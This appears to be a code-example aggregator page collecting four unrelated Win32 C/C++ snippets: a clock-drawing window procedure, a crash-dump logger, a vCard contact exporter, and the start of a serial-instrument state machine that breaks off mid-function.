Ejemplo n.º 1
0
LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
    PAINTSTRUCT pPaint;
    HDC         hDC;
    HPEN        hPen, hOldPen;
    HBRUSH      hBrush;
    float       rad, x0, y0, x1, y1;

    switch (uMsg) {
    case WM_CREATE:
      SetTimer(hWnd, 1000, 1000, NULL);
      return 0;

    case WM_PAINT:
      hDC = BeginPaint(hWnd, &pPaint);

      hPen    = CreatePen(PS_DOT, 2, RGB(0, 255, 0));
      hOldPen = SelectObject(hDC, hPen);
      for (rad = 0; rad < 2 * PI; rad += (2 * PI) / 60) {
	x0 = sin(rad) * 100 + 200;
	y0 = cos(rad) * 100 + 200;

	x1 = sin(rad) * 90 + 200;
	y1 = cos(rad) * 90 + 200;

	MoveToEx(hDC, x0, y0, NULL);
	LineTo(hDC, x1, y1);
      }
      SelectObject(hDC, hOldPen);
      DeleteObject(hPen);

      hPen    = CreatePen(PS_DOT, 2, RGB(255, 0, 0));
      hOldPen = SelectObject(hDC, hPen);
      for (rad = 0; rad < 2 * PI; rad += (2 * PI) / 12) {
	x0 = sin(rad) * 100 + 200;
	y0 = cos(rad) * 100 + 200;

	x1 = sin(rad) * 80 + 200;
	y1 = cos(rad) * 80 + 200;

	MoveToEx(hDC, x0, y0, NULL);
	LineTo(hDC, x1, y1);
      }
      SelectObject(hDC, hOldPen);
      DeleteObject(hPen);

      hPen    = CreatePen(PS_DOT, 5, RGB(0, 0, 0));
      hOldPen = SelectObject(hDC, hPen);

      x1 = sin(((2.0 * PI) / 12.0) * 3.0) * 70 + 200;
      y1 = cos(((2.0 * PI) / 12.0) * 3.0) * 70 + 200;
      MoveToEx( hDC, 200, 200, NULL );
      LineTo( hDC, x1, y1 );

      x1 = sin(((2.0 * PI) / 12.0) * 5.0) * 50 + 200;
      y1 = cos(((2.0 * PI) / 12.0) * 5.0) * 50 + 200;
      MoveToEx( hDC, 200, 200, NULL );
      LineTo( hDC, x1, y1 );

      SelectObject(hDC, hOldPen);
      DeleteObject(hPen);

      EndPaint( hWnd, &pPaint );

      break;

    case WM_TIMER:
      {
	// dprintf(" WM Timer \n");
	SYSTEMTIME local;
	GetLocalTime( &local );
      }
      return 0;
    }

    return DefWindowProc(hWnd, uMsg, wParam, lParam);
}
Ejemplo n.º 2
0
BOOL DumpException(LPEXCEPTION_POINTERS lpExcep,char* szOutMsg, void *pData, int nSize )
{// 030620 thailand kyo _ copy dbdemon 
	if (!lpExcep)
		return FALSE;

	BOOL		result = TRUE;
	SYSTEMTIME time;
	FILE*		fp = NULL;

	const DWORD		dwExceptionAddress = (DWORD)lpExcep->ExceptionRecord->ExceptionAddress;
	const DWORD		dwExceptionCode = lpExcep->ExceptionRecord->ExceptionCode;
	const DWORD		dwExceptionFlags = lpExcep->ExceptionRecord->ExceptionFlags;
	const DWORD		dwNumberParameters = lpExcep->ExceptionRecord->NumberParameters;
	const DWORD		dwDr0 = lpExcep->ContextRecord->Dr0;
	const DWORD		dwDr1 = lpExcep->ContextRecord->Dr1;
	const DWORD		dwDr2 = lpExcep->ContextRecord->Dr2;
	const DWORD		dwDr3 = lpExcep->ContextRecord->Dr3;
	const DWORD		dwDr6 = lpExcep->ContextRecord->Dr6;
	const DWORD		dwDr7 = lpExcep->ContextRecord->Dr7;
	
	const DWORD		dwSegCs = lpExcep->ContextRecord->SegCs;
	const DWORD		dwSegGs = lpExcep->ContextRecord->SegGs;
	const DWORD		dwSegFs = lpExcep->ContextRecord->SegFs;
	const DWORD		dwSegEs = lpExcep->ContextRecord->SegEs;
	const DWORD		dwEFlags = lpExcep->ContextRecord->EFlags;

	const DWORD		dwEsi = lpExcep->ContextRecord->Esi;
	const DWORD		dwEdi = lpExcep->ContextRecord->Edi;
	const DWORD		dwEbp = lpExcep->ContextRecord->Ebp;
	const DWORD		dwEsp = lpExcep->ContextRecord->Esp;
	const DWORD		dwEip = lpExcep->ContextRecord->Eip;

	const DWORD		dwEax = lpExcep->ContextRecord->Eax;
	const DWORD		dwEbx = lpExcep->ContextRecord->Ebx;
	const DWORD		dwEcx = lpExcep->ContextRecord->Ecx;
	const DWORD		dwEdx = lpExcep->ContextRecord->Edx;
	
	__try
	{
		char szFileName[256+1];
		GetLocalTime(&time);

		sprintf( szFileName, "Agent_%d_%d_%d_%d_%d_%d.log", time.wYear,time.wMonth,time.wDay,time.wHour, time.wMinute,time.wSecond );
		fp = fopen( szFileName, "w");

		fprintf(fp,"%d year, %d month, %d day,%d hour, %d minute, %d second\n",
			time.wYear,time.wMonth,time.wDay,time.wHour, time.wMinute,time.wSecond); 
		
		fprintf(fp,"Crashed address %xh \n",dwExceptionAddress);
		fprintf(fp,"Crashed Map Address %04X:%08X",
			dwSegCs,
			dwExceptionAddress);


		fprintf(fp,"Exception Code %u \n",dwExceptionCode);
		fprintf(fp,"Exception Flag %xh \n",dwExceptionFlags);
		fprintf(fp,"NumberParameters %d \n",dwNumberParameters);
		fprintf(fp,"Dr0 %xh \n",dwDr0);
		fprintf(fp,"Dr1 %xh \n",dwDr1);
		fprintf(fp,"Dr2 %xh \n",dwDr2);
		fprintf(fp,"Dr3 %xh \n",dwDr3);
		fprintf(fp,"Dr6 %xh \n",dwDr6);
		fprintf(fp,"Dr7 %xh \n",dwDr7);
		
		fprintf(fp,"SegGs %xh \n",dwSegGs);
		fprintf(fp,"SegFs %xh \n",dwSegFs);
		fprintf(fp,"SegEs %xh \n",dwSegEs);
		fprintf(fp,"EFlags %xh \n",dwEFlags);
		
		fprintf(fp,"Esi %xh \n",dwEsi);
		fprintf(fp,"Edi %xh \n",dwEdi);
		fprintf(fp,"Ebp %xh \n",dwEbp);
		fprintf(fp,"Esp %xh \n",dwEsp);
		fprintf(fp,"Eip %xh \n",dwEip);
		

		fprintf(fp,"Eax %xh \n",dwEax);
		fprintf(fp,"Ebx %xh \n",dwEbx);
		fprintf(fp,"Ecx %xh \n",dwEcx);
		fprintf(fp,"Edx %xh \n",dwEdx);

		if( pData )	fprintf(fp,"info : packet_type(PTCL_) =  %d \n",*((char*)pData));
	
		fprintf(fp,"\n\n");

		fclose(fp);
		fp = NULL;

		if( pData )
		{
			sprintf( szFileName, "Agent_info_%d_%d_%d_%d_%d_%d.bin", time.wYear,time.wMonth,time.wDay,time.wMinute,time.wSecond );
			fp = fopen( szFileName, "w");
			fwrite( &nSize, 4, 1, fp );
			fwrite( pData, 1, nSize, fp );
			fclose( fp );
			fp = NULL;
		}
	}
	__except (GetExceptionCode())
	{
		MyLog(LOG_NORMAL, "ERROR :: Write in DumpException" ); 
		if (fp)
			fclose(fp);
	
		result = FALSE;
	}

	return result;
}
Ejemplo n.º 3
0
/**
 * name:	Export
 * desc:	export the contacts information
 * param:	none
 * return	TRUE or FALSE
 **/
BYTE CVCardFileVCF::Export(BYTE bExportUtf)
{
	size_t cbRew = 0;

	_useUtf8 = bExportUtf;

	fputs("BEGIN:VCARD\nVERSION:2.1\n", _pFile);

	//
	// naming
	//
	packDB(USERINFO, SET_CONTACT_LASTNAME, &cbRew);
	_clVal + DELIM;
	packDB(USERINFO, SET_CONTACT_FIRSTNAME, &cbRew);
	_clVal + DELIM;
	packDB(USERINFO, SET_CONTACT_SECONDNAME, &cbRew);
	_clVal + DELIM;
	packDB(USERINFO, SET_CONTACT_TITLE, &cbRew);
	_clVal + DELIM;
	packDBList(USERINFO, SET_CONTACT_PREFIX, (MIRANDASERVICE)GetNamePrefixList, FALSE, &cbRew);
	writeLine("N", &cbRew);

	if (packDB(USERINFO, SET_CONTACT_TITLE))
		_clVal + " ";

	if (packDB(USERINFO, SET_CONTACT_FIRSTNAME))
		_clVal + " ";
	else
		cbRew = 1;

	if (packDB(USERINFO, SET_CONTACT_SECONDNAME))
		_clVal + " ";
	else
		cbRew = 1;

	if (packDB(USERINFO, SET_CONTACT_LASTNAME))
		_clVal + " ";
	else
		cbRew = 1;

	packDBList(USERINFO, SET_CONTACT_PREFIX, (MIRANDASERVICE)GetNamePrefixList, FALSE, &cbRew);
	writeLine("FN");

	packDB(USERINFO, SET_CONTACT_NICK);
	writeLine("NICKNAME");

	//
	// organisation
	//
	packDB(USERINFO, SET_CONTACT_COMPANY, &cbRew);
	_clVal + DELIM;
	packDB(USERINFO, SET_CONTACT_COMPANY_DEPARTMENT, &cbRew);
	writeLine("ORG", &cbRew);
	packDB(USERINFO, SET_CONTACT_COMPANY_POSITION);
	writeLine("TITLE");
	packDBList(USERINFO, SET_CONTACT_COMPANY_OCCUPATION, (MIRANDASERVICE)GetOccupationList, FALSE);
	writeLine("ROLE");

	//
	// phone numbers
	//
	if (packDB(USERINFO, SET_CONTACT_PHONE)) {
		_clVal.TruncateSMS();
		writeLine("TEL;HOME;VOICE");
	}
	if (packDB(USERINFO, SET_CONTACT_FAX)) {
		_clVal.TruncateSMS();
		writeLine("TEL;HOME;FAX");
	}
	if (packDB(USERINFO, SET_CONTACT_CELLULAR)) {
		_clVal.TruncateSMS();
		writeLine("TEL;CELL;VOICE");
	}
	if (packDB(USERINFO, SET_CONTACT_COMPANY_PHONE)) {
		_clVal.TruncateSMS();
		writeLine("TEL;WORK;VOICE");
	}
	if (packDB(USERINFO, SET_CONTACT_COMPANY_FAX)) {
		_clVal.TruncateSMS();
		writeLine("TEL;WORK;FAX");
	}
	if (packDB(USERINFO, SET_CONTACT_COMPANY_CELLULAR)) {
		_clVal.TruncateSMS();
		writeLine("TEL;PAGER;VOICE");
	}

	//
	// private address
	//
	_clVal + ";;"; 
	cbRew = 1;
	packDB(USERINFO, SET_CONTACT_STREET, &cbRew);
	_clVal + DELIM;
	packDB(USERINFO, SET_CONTACT_CITY, &cbRew);
	_clVal + DELIM;
	packDB(USERINFO, SET_CONTACT_STATE, &cbRew);
	_clVal + DELIM;
	packDB(USERINFO, SET_CONTACT_ZIP, &cbRew);
	_clVal + DELIM;
	packDBList(USERINFO, SET_CONTACT_COUNTRY, (MIRANDASERVICE)GetCountryList, FALSE, &cbRew);
	writeLine("ADR;HOME", &cbRew);

	//
	// company address
	//
	_clVal + DELIM;
	packDB(USERINFO, SET_CONTACT_COMPANY_OFFICE, &cbRew);
	_clVal + DELIM;
	packDB(USERINFO, SET_CONTACT_COMPANY_STREET, &cbRew);
	_clVal + DELIM;
	packDB(USERINFO, SET_CONTACT_COMPANY_CITY, &cbRew);
	_clVal + DELIM;
	packDB(USERINFO, SET_CONTACT_COMPANY_STATE, &cbRew);
	_clVal + DELIM;
	packDB(USERINFO, SET_CONTACT_COMPANY_ZIP, &cbRew);
	_clVal + DELIM;
	packDBList(USERINFO, SET_CONTACT_COMPANY_COUNTRY, (MIRANDASERVICE)GetCountryList, FALSE, &cbRew);
	writeLine("ADR;WORK", &cbRew);

	//
	// origin address
	//
	_clVal + ";;";
	cbRew = 1;
	packDB(USERINFO, SET_CONTACT_ORIGIN_STREET, &cbRew);
	_clVal + DELIM;
	packDB(USERINFO, SET_CONTACT_ORIGIN_CITY, &cbRew);
	_clVal + DELIM;
	packDB(USERINFO, SET_CONTACT_ORIGIN_STATE, &cbRew);
	_clVal + DELIM;
	packDB(USERINFO, SET_CONTACT_ORIGIN_ZIP, &cbRew);
	_clVal + DELIM;
	packDBList(USERINFO, SET_CONTACT_ORIGIN_COUNTRY, (MIRANDASERVICE)GetCountryList, FALSE, &cbRew);
	writeLine("ADR;POSTAL", &cbRew);

	//
	// homepages
	//
	if (packDB(USERINFO, SET_CONTACT_HOMEPAGE))
		writeLine("URL;HOME");
	if (packDB(USERINFO, SET_CONTACT_COMPANY_HOMEPAGE))
		writeLine("URL;WORK");

	//
	// e-mails
	//
	if (packDB(USERINFO, SET_CONTACT_EMAIL))
		writeLine("EMAIL;PREF;intERNET");
	if (packDB(USERINFO, SET_CONTACT_EMAIL0))
		writeLine("EMAIL;intERNET");
	if (packDB(USERINFO, SET_CONTACT_EMAIL1))
		writeLine("EMAIL;intERNET");

	//
	// gender
	//
	{
		BYTE gender = db_get_b(_hContact, USERINFO, SET_CONTACT_GENDER, 0);
		if (!gender) gender = db_get_b(_hContact, _pszBaseProto, SET_CONTACT_GENDER, 0);
		switch (gender) {
			case 'F':
				fputs("X-WAB-GENDER:1\n", _pFile);
				break;
			case 'M':
				fputs("X-WAB-GENDER:2\n", _pFile);
				break;
		}
	}

	//
	// birthday
	//
	{
		MAnnivDate mdb;

		if (!mdb.DBGetBirthDate(_hContact, NULL))
			fprintf(_pFile, "BDAY:%d%02d%02d\n\0", mdb.Year(), mdb.Month(), mdb.Day());
	}
	
	//
	// notes
	//
	if (packDB(USERINFO, SET_CONTACT_MYNOTES))
		writeLineEncoded("NOTE");

	//
	// about
	//
	if (packDB(USERINFO, SET_CONTACT_ABOUT))
		writeLineEncoded("ABOUT");

	//
	// contacts protocol, uin setting, uin value
	//
	{
		CHAR szUID[MAXUID];
		LPCSTR uid;

		uid = (LPCSTR)CallProtoService(_pszBaseProto, PS_GETCAPS, PFLAG_UNIQUEIDSETTING, 0);
		if ((INT_PTR)uid != CALLSERVICE_NOTFOUND && uid) {
			if (!DB::Setting::GetStatic(_hContact, _pszBaseProto, uid, szUID, sizeof(szUID)))
				fprintf(_pFile, "IM;%s;%s:%s\n", _pszBaseProto, uid, szUID);
		}
	}
	
	//
	// time of creation
	//
	{
		SYSTEMTIME	st;
	
		GetLocalTime(&st);
		fprintf(_pFile, "REV:%04d%02d%02dD%02d%02d%02dT\n", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
	}

	fputs("END:VCARD", _pFile);
	return 0;
}
Ejemplo n.º 4
0
//this is the state machine which controls 
//	what commands to send, 
//	when to send them, and
//	what to expect in return.
//It receives a message for each message returned from an instrument
//as well as a "timer" message on intervals selected in "MIC:Configuration"
LRESULT CHHMRInst::OnReceive(WPARAM WParam, LPARAM LParam)
{
//TRACE("Current State:%d\r\n",m_dCurrent_State);
	
	//wparam is the type of message and lparam is the checksum good or bad
	//this is true for all messages EXCEPT the battery backed value message
	//in this one case lparam contains the number of bytes in bbm.
	CString temp;
	//if we couldn't register this instrument 
	//or if disk is full so we are blocking write
	//then lock it up in state 9900 -- don't send anything
	if (!m_bGoodRegister || m_bBlockWrite)
		m_dCurrent_State = 9900;

	if (WParam == TRIGGER_CAMERA_REQUEST)
	{
		if (m_dParallelPortPin && !m_bCameraBlocked)
		{
			//if (current time < suppression end time) then return
			COleDateTime now = COleDateTime::GetCurrentTime();
			if (now < m_pSuppressUntil) 
			{
				m_pSummaryPage->GetDlgItemText(IDC_HHMRSUMMARY_CAMERA_TRIG,temp);
				temp += " Suppressed";
				m_pSummaryPage->SetDlgItemText(IDC_HHMRSUMMARY_CAMERA_TRIG,temp);
				return 0; 
			}
			//set timer to post TRIGGER_CAMERA_START at now + holdoffspan
			SetTimer(TIMER_CAMERA_START,(unsigned)m_pCameraHoldOff.GetTotalSeconds()*1000+1,NULL);
			//set suppression end time at now + m_pCameraSuppress
			m_pSuppressUntil = now + m_pCameraSuppress;
		}
		else
		{
			m_pSummaryPage->GetDlgItemText(IDC_HHMRSUMMARY_CAMERA_TRIG,temp);
			temp += " Deactivated";
			m_pSummaryPage->SetDlgItemText(IDC_HHMRSUMMARY_CAMERA_TRIG,temp);
		}
		return 0;
	}

	else if (WParam == TRIGGER_CAMERA_START_TEST)
	{
		//set parallel port high
		if (m_dParallelPortPin  && !m_bCameraBlocked)
		{
 			//set the pin on
			m_cParallelPort.SetPin(m_dParallelPortPin);

			//tell the world
            m_pSummaryPage->GetDlgItemText(IDC_HHMRSUMMARY_CAMERA_TRIG,temp);
			temp += " Do";
            m_pSummaryPage->SetDlgItemText(IDC_HHMRSUMMARY_CAMERA_TRIG,temp);

			COleDateTime now = COleDateTime::GetCurrentTime();
			temp = now.Format("%Y.%m.%d %H:%M:%S Test Do");                         
			m_pSummaryPage->SetDlgItemText(IDC_HHMRSUMMARY_CAMERA_TRIG,temp);

			//set timer TIMER_CAMERA_END
			SetTimer(TIMER_CAMERA_END,600,NULL);
			m_pPropertySheet->WriteToFile(TO_CEV, TYPE_COMP, NULL,"53035 Camera Triggered Test");
		}
		return 0;
	}


	else if (WParam == TRIGGER_CAMERA_START)
	{
		//set parallel port high
		if (m_dParallelPortPin && !m_bCameraBlocked)
		{
			try
			{
				//set the pin on
				m_cParallelPort.SetPin(m_dParallelPortPin);
			}
			catch(...)
			{
				return 0;
			}

			//tell the world
			m_pSummaryPage->GetDlgItemText(IDC_HHMRSUMMARY_CAMERA_TRIG,temp);
			temp += " Do";
			m_pSummaryPage->SetDlgItemText(IDC_HHMRSUMMARY_CAMERA_TRIG,temp);

			//set timer TIMER_CAMERA_END
			SetTimer(TIMER_CAMERA_END,600,NULL);
			m_pPropertySheet->WriteToFile(TO_CEV, TYPE_COMP, NULL,"53030 Camera Triggered");
		}
		return 0;
	}

	else if (WParam == TRIGGER_CAMERA_END)
	{
		//set parallel port low (don't forget to initialize it low)
		if (m_dParallelPortPin && !m_bCameraBlocked)
		{
			m_cParallelPort.UnSetPin(m_dParallelPortPin);
			m_pSummaryPage->GetDlgItemText(IDC_HHMRSUMMARY_CAMERA_TRIG,temp);
			temp += "ne";
			m_pSummaryPage->SetDlgItemText(IDC_HHMRSUMMARY_CAMERA_TRIG,temp);
		}
		return 0;
	}

	else if (WParam == TIMER_TICK)
	{
		//bump time increments to next inquire
		m_dTickToInquire++;
		//bump time from last command
		m_dTick_Count++;
		if ((m_dRetransmit > m_dCommFail) &&
			(m_dCurrent_State != 9010) &&
			(m_dCurrent_State != 9500))
		{		
				m_dRetransmit = 0;
				m_dTick_Count =	0;
				m_dCurrent_State = 8000; //hard fail
		}
	}

	if (m_dCurrent_State < 9000)
		m_bInShutDown = false;
	else
		m_bInShutDown = true;

	if (m_dCurrent_State >= 2000)
		m_bInStartUp = false;
	else
		m_bInStartUp = true;
	//this is the virtual instrument state machine
	switch (m_dCurrent_State)
	{
	//start by sending ^ to force mode to computer
	case 1000:
		if (WParam == RESETUP)
		{
			char resetstring[128];
			char temp[16];

			union UNNAMED {
				int iInteger;
				BYTE bBytes[4];
			} intBytes;

			intBytes.iInteger = GetPrivateProfileInt(m_pName,"COUNTTIMEUNIT",10,m_szIniFile);
//			int iExp = GetPrivateProfileInt(m_pName,"COUNTTIMEEXP",0,m_szIniFile);
//			for (int i = 0; i < (iExp-1); i++)
//				intBytes.iInteger *= 10;
			temp[0] = 'T';
			temp[1] = 'W';
			temp[2] = intBytes.bBytes[2];
			temp[3] = intBytes.bBytes[1];
			temp[4] = intBytes.bBytes[0];
			COM_Transmit(5,temp,m_iNode);
			sprintf(temp,"%c%c[%02x%02x%02x] ",
				temp[0],temp[1],intBytes.bBytes[2],intBytes.bBytes[1],intBytes.bBytes[0]);
			strcpy(resetstring,temp);

			GetPrivateProfileString(m_pName,"PREDELAY","00",temp,sizeof(temp),m_szIniFile);
			sscanf(temp,"%x",&intBytes.iInteger);
			intBytes.iInteger = (intBytes.iInteger+1)*2;

			temp[0] = 'P';
			temp[1] = 'W';
			temp[2] = intBytes.bBytes[1];
			temp[3] = intBytes.bBytes[0];
			COM_Transmit(4,temp,m_iNode);
			sprintf(temp,"%c%c[%02x%02x] ",
				temp[0],temp[1],intBytes.bBytes[1],intBytes.bBytes[0]);
			strcat(resetstring,temp);

			intBytes.iInteger = GetPrivateProfileInt(m_pName,"GATEWIDTH",100,m_szIniFile)*4;
			temp[0] = 'G';
			temp[1] = 'W';
			temp[2] = intBytes.bBytes[1];
			temp[3] = intBytes.bBytes[0];
			COM_Transmit(4,temp,m_iNode);
			sprintf(temp,"%c%c[%02x%02x] ",
				temp[0],temp[1],temp[2],temp[3]);
			strcat(resetstring,temp);

			intBytes.iInteger = GetPrivateProfileInt(m_pName,"HIGHV",100,m_szIniFile);
			temp[0] = 'W';
			temp[1] = 'W';
			temp[2] = intBytes.bBytes[1];
			temp[3] = intBytes.bBytes[0];
			COM_Transmit(4,temp,m_iNode);
			sprintf(temp,"%c%c[%02x%02x]",
				temp[0],temp[1],intBytes.bBytes[1],intBytes.bBytes[0]);
			strcat(resetstring,temp);

			char cBuff[1024];
            strcpy(cBuff,"53040 HHMR Reset: ");
			strcat(cBuff,resetstring);
//			strcat(cBuff,"\r\n");
			m_pPropertySheet->UpdateSummary(cBuff);
			m_pPropertySheet->WriteToFile(TO_PFM, TYPE_COMP, NULL, cBuff);

			if (m_bDoDump)
			{
				m_pPropertySheet->WriteToFile(TO_DMP, TYPE_DUMP, NULL, cBuff);
			}
			break;

		}

		if (m_bPause) 
		{
			m_bIsPaused = true;
			m_pButton->put_FaceColor(COLOR_PAUSE);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_PAUSE);
			break;
		}

		if (WParam == TIMER_TICK)
		{
			m_pButton->put_FaceColor(COLOR_WAIT);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_WAIT);
			m_pPropertySheet->PrepForReceipt(HHMR_READ_STATUS,true);
			COM_Transmit(ISZSTRING,"HX",m_iNode);
			m_dRetransmit++;
			m_pPropertySheet->UpdateSummary("HX - Stop and get status");
			if (m_bDoDump)
				m_pPropertySheet->WriteToFile(TO_DMP, TYPE_DUMP, NULL, "53050 HX - Stop and get status (1000)");
			m_dCurrent_State = 1010;
		}


		break;

	//wait for response 
	case 1010:
		if (m_bPause) 
		{
			m_bIsPaused = true;
			m_pButton->put_FaceColor(COLOR_PAUSE);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_PAUSE);
			break;
		}
		//got a "?0000000" back 
		if (WParam == HHMR_READ_STATUS)
		{
			m_dTickToInquire = 0;
			m_dTick_Count = 0;
			m_dRetransmit = 0;
			m_dCurrent_State = 1100;//good response so start it up
		}

		//if we didn't get anything back 
		//in the alloted time so assume Front Panel Mode
		if (m_dTick_Count <= m_dTimeOut)
			break;


		m_pButton->put_FaceColor(COLOR_OK);
		m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_OK,true);

		if (m_dCurrent_State != 1100)
			m_dCurrent_State = 1000;//^X transmit //was 1020
	
//		if (m_dRetransmit > m_dCommFail)
//		{
//			m_dRetransmit = 0;
//			m_dCurrent_State = 8000;
//		}
//
		break;

	case 1100:
		if (m_bPause) 
		{
			m_dCurrent_State = 1000;
			m_bIsPaused = true;
			m_pButton->put_FaceColor(COLOR_PAUSE);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_PAUSE,true);
			break;
		}
		//we are in a dumplast sequence
		m_bInDumpLast = false;
		//send the command
		{
			COleDateTime cNow = COleDateTime::GetCurrentTime();
			m_pDataStatus->SetDlgItemText(IDC_HHMRDATA_SETUPTIME,cNow.Format("%Y.%m.%d %H:%M:%S"));
		}
		m_pButton->put_FaceColor(COLOR_WAIT);
		m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_WAIT,true);
		m_pPropertySheet->PrepForReceipt(HHMR_READ_PREDELAY,true);
		COM_Transmit(2,"PR",m_iNode);
		m_pPropertySheet->UpdateSummary("PR -- Read Pre-delay");
		if (m_bDoDump)
				m_pPropertySheet->WriteToFile(TO_DMP, TYPE_DUMP, NULL, "53090 PR - Get pre-delay value (1100)");
		//incr the number of times command has been sent
		m_dRetransmit++;
		//start the tick count at 0 so we can detect time out
		m_dTick_Count = 0;
		//next state will wait for a good response
		m_dCurrent_State = 1101;
		break;


	case 1101:
		if (m_dTick_Count > m_dTimeOut)
		{
			m_dTick_Count = 0;
			m_dCurrent_State = 1100;
            m_pPropertySheet->WriteToFile(TO_PFM, TYPE_COMP, NULL,"53100 HHMR Timeout on receive GET PRE-DELAY response");
		} 
		//beak out and wait for correct response
        if (WParam != HHMR_READ_PREDELAY)  
			break;
		m_dCurrent_State = 1102;
		m_dRetransmit = 0;
		//fall through

	case 1102:
		if (m_bPause) 
		{
			m_dCurrent_State = 1000;
			m_bIsPaused = true;
			m_pButton->put_FaceColor(COLOR_PAUSE);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_PAUSE,true);
			break;
		}
		//we are in a dumplast sequence
		m_bInDumpLast = false;
		//send the command
		m_pPropertySheet->PrepForReceipt(HHMR_READ_COUNTTIME,true);
		COM_Transmit(2,"TR",m_iNode);
		m_pPropertySheet->UpdateSummary("TR -- Read Count Time");
		if (m_bDoDump)
			m_pPropertySheet->WriteToFile(TO_DMP, TYPE_DUMP, NULL, "53090 TR - Get count time (1100)");
		//incr the number of times command has been sent
		m_dRetransmit++;
		//start the tick count at 0 so we can detect time out
		m_dTick_Count = 0;
		//next state will wait for a good response
		m_dCurrent_State = 1103;
		break;

	case 1103:
		if (m_dTick_Count > m_dTimeOut)
		{
			m_dTick_Count = 0;
			m_dCurrent_State = 1102;
            m_pPropertySheet->WriteToFile(TO_PFM, TYPE_COMP, NULL,"53100 HHMR Timeout on receive GET COUNT TIME response");
		} 
		//beak out and wait for correct response
        if (WParam != HHMR_READ_COUNTTIME)  
			break;

		if (LParam)
		{
//			m_dInquireInt = (int)((float)LParam/10.0/((float)m_dCycleInt/1000.0))-5;
			//m_dInquireInt = (int)((float)LParam/10.0/((float)m_dCycleInt/1000.0))-m_dInquireIntOffset;
			m_dInquireInt = (int)((float)LParam/10.0/((float)m_dCycleInt/1000.0));
			m_cSpan.SetDateTimeSpan(0,0,0,(int)((float)LParam/10.0)-1);
			m_dSpan = (int)((float)LParam*100.0)-m_dCycleInt;// in mSec; back off one cycle
		}
		else
		{
			double temp = (double)m_dCountTimeUnit;// * pow(10,m_dCountTimeExp-1);
//			m_dInquireInt = (int)(temp/((double)m_dCycleInt/1000.0))-5;
			m_dInquireInt = (int)(temp/((double)m_dCycleInt/1000.0));
			m_cSpan.SetDateTimeSpan(0,0,0,(m_dInquireInt)-1);
			m_dSpan = m_dInquireInt*1000-m_dCycleInt;//back off one inquire cycle to start
			//m_dInquireInt -= m_dInquireIntOffset;
			//the -5 is to give ourself about 1 second
		}

		m_dCurrent_State = 1104;
		m_dRetransmit = 0;
		//fall through

	case 1104:
		if (m_bPause) 
		{
			m_dCurrent_State = 1000;
			m_bIsPaused = true;
			m_pButton->put_FaceColor(COLOR_PAUSE);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_PAUSE,true);
			break;
		}
		//we are in a dumplast sequence
		m_bInDumpLast = false;
		//send the command
		m_pPropertySheet->PrepForReceipt(HHMR_READ_GATEWIDTH,true);
		COM_Transmit(2,"GR",m_iNode);
		m_pPropertySheet->UpdateSummary("GR -- Read Gate Width");
		if (m_bDoDump)
			m_pPropertySheet->WriteToFile(TO_DMP, TYPE_DUMP, NULL, "53090 GR - Get GET GATE WIDTH (1100)");
		//incr the number of times command has been sent
		m_dRetransmit++;
		//start the tick count at 0 so we can detect time out
		m_dTick_Count = 0;
		//next state will wait for a good response
		m_dCurrent_State = 1105;
		break;

	case 1105:
		if (m_dTick_Count > m_dTimeOut)
		{
			m_dTick_Count = 0;
			m_dCurrent_State = 1104;
            m_pPropertySheet->WriteToFile(TO_PFM, TYPE_COMP, NULL,"53100 HHMR Timeout on receive GET GATE WIDTH response");
		} 
		//beak out and wait for correct response
        if (WParam != HHMR_READ_GATEWIDTH)  
			break;

		m_dCurrent_State = 1106;
		m_dRetransmit = 0;
		//fall through

	case 1106:
		if (m_bPause) 
		{
			m_dCurrent_State = 1000;
			m_bIsPaused = true;
			m_pButton->put_FaceColor(COLOR_PAUSE);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_PAUSE,true);
			break;
		}
		//we are in a dumplast sequence
		m_bInDumpLast = false;
		//send the command
		m_pPropertySheet->PrepForReceipt(HHMR_READ_HV_SP,true);
		COM_Transmit(2,"WS",m_iNode);
		m_pPropertySheet->UpdateSummary("WS -- Read HV Set Point");
		if (m_bDoDump)
			m_pPropertySheet->WriteToFile(TO_DMP, TYPE_DUMP, NULL, "53090 WS - Get GET HV SET POINT (1100)");
		//incr the number of times command has been sent
		m_dRetransmit++;
		//start the tick count at 0 so we can detect time out
		m_dTick_Count = 0;
		//next state will wait for a good response
		m_dCurrent_State = 1107;
		break;

	case 1107:
		if (m_dTick_Count > m_dTimeOut)
		{
			m_dTick_Count = 0;
			m_dCurrent_State = 1106;
            m_pPropertySheet->WriteToFile(TO_PFM, TYPE_COMP, NULL,"53100 HHMR Timeout on receive GET HV SET POINT response");
		} 
		//beak out and wait for correct response
        if (WParam != HHMR_READ_HV_SP)  
			break;

		m_dCurrent_State = 1108;
		m_dRetransmit = 0;
		//fall through

	case 1108:
		if (m_bPause) 
		{
			m_dCurrent_State = 1000;
			m_bIsPaused = true;
			m_pButton->put_FaceColor(COLOR_PAUSE);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_PAUSE,true);
			break;
		}
		//we are in a dumplast sequence
		m_bInDumpLast = false;
		//send the command
		m_pPropertySheet->PrepForReceipt(HHMR_READ_HV,true);
		COM_Transmit(2,"WR",m_iNode);
		m_pPropertySheet->UpdateSummary("WR -- Read High Voltage");
		if (m_bDoDump)
			m_pPropertySheet->WriteToFile(TO_DMP, TYPE_DUMP, NULL, "53090 WR - Get GET HV (1100)");
		//incr the number of times command has been sent
		m_dRetransmit++;
		//start the tick count at 0 so we can detect time out
		m_dTick_Count = 0;
		//next state will wait for a good response
		m_dCurrent_State = 1109;

//m_dCurrent_State = 1150;
		break;

	case 1109:
		if (m_dTick_Count > m_dTimeOut)
		{
			m_dTick_Count = 0;
			m_dCurrent_State = 1108;
            m_pPropertySheet->WriteToFile(TO_PFM, TYPE_COMP, NULL,"53100 HHMR Timeout on receive GET HV response");
		} 
		//beak out and wait for correct response
        if (WParam != HHMR_READ_HV)  
			break;

		//start the tick count at 0 so we can detect time out
		m_dTick_Count = 0;
		m_dCurrent_State = 1150;
